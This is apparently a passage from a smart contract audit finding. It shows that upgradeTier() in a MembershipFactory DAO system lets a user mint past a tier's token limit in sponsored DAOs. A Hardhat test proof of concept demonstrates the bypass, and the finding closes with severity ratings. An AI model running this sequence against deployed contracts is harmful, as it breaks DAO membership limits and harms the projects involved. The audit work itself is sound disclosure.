i.e. the maximum number of minted tokens will always be less than or equal to the amount of available tokens. However, this invariant can be broken.
(note: the operator greater than is used here, because the action will mint a token, so our invariant is still correct when tier[i].minted + 1 happens)
(note: the extreme case when amount = 0 is used for demonstration, however, the transaction will succeed even when amount > 0 is true).
import { expect } from "chai";
import { ethers } from "hardhat";
describe("MembershipTokenLimitBypass", function () {
let owner: any, user: any, attacker: any;
let currencyManager, membershipImplementation, membershipFactory: any, testERC20:any;
let DAOType:any, DAOConfig:any, TierConfig:any;
beforeEach(async function () {
[owner, user, attacker] = await ethers.getSigners();
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
console.log("CurrencyManager deployed at:", currencyManager.address);
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
console.log("MembershipERC1155 deployed at:", membershipImplementation.address);
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(currencyManager.address, owner.address, "https://baseuri.com/", membershipImplementation.address);
await membershipFactory.deployed();
console.log("MembershipFactory deployed at:", membershipFactory.address);
const ERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await ERC20.deploy('OWP', 'OWP');
await testERC20.deployed();
console.log("TestERC20 deployed at:", testERC20.address);
await currencyManager.connect(owner).addCurrency("0x7ceb23fd6bc0add59e62ac25578270cff1b9f619");
await currencyManager.connect(owner).addCurrency("0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6");
await currencyManager.connect(owner).addCurrency("0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359");
await currencyManager.connect(owner).addCurrency("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174");
await currencyManager.connect(owner).addCurrency(testERC20.address);
});
it("Breaks invariant amount >= minted", async function () {
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2, };
DAOConfig = { ensname: "test", daoType: DAOType.SPONSORED, currency: testERC20.address, maxMembers: 5000, noOfTiers: 7 };
TierConfig = [
{ price: 0, amount: 2, minted: 0, power: 12 },
{ price: 0, amount: 4, minted: 0, power: 6 },
{ price: 0, amount: 8, minted: 0, power: 3 },
{ price: 0, amount: 16, minted: 0, power: 12 },
{ price: 0, amount: 32, minted: 0, power: 6 },
{ price: 0, amount: 0, minted: 0, power: 0 },
{ price: 0, amount: 128, minted: 0, power: 12 },
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
const nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("test")
expect(ensName).to.equal("test");
expect(ensToAddress).to.equal(nftAddress);
console.log("Sponsored DAO created.")
const tx_join_dao = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_receipt = await tx_join_dao.wait();
const tx_join_dao_2 = await membershipFactory.connect(user).joinDAO(nftAddress, 6);
const tx_join_dao_2_receipt = await tx_join_dao_2.wait();
const tx_upgrade_tier = await membershipFactory.connect(user).upgradeTier(nftAddress, 6);
const receipt_upgrade_tier = await tx_upgrade_tier.wait();
const nftContract = await ethers.getContractAt("MembershipERC1155", nftAddress);
const userBalance = await nftContract.balanceOf(user.address, 5);
expect(userBalance).to.equal(1);
console.log("Call to upgradeTier() bypass amount limits.");
});
});
High - any user can execute the sequence of action for any DAO where daoType == SPONSORED.
Medium - protocol invariant is broken, leading to unexpected behaviour.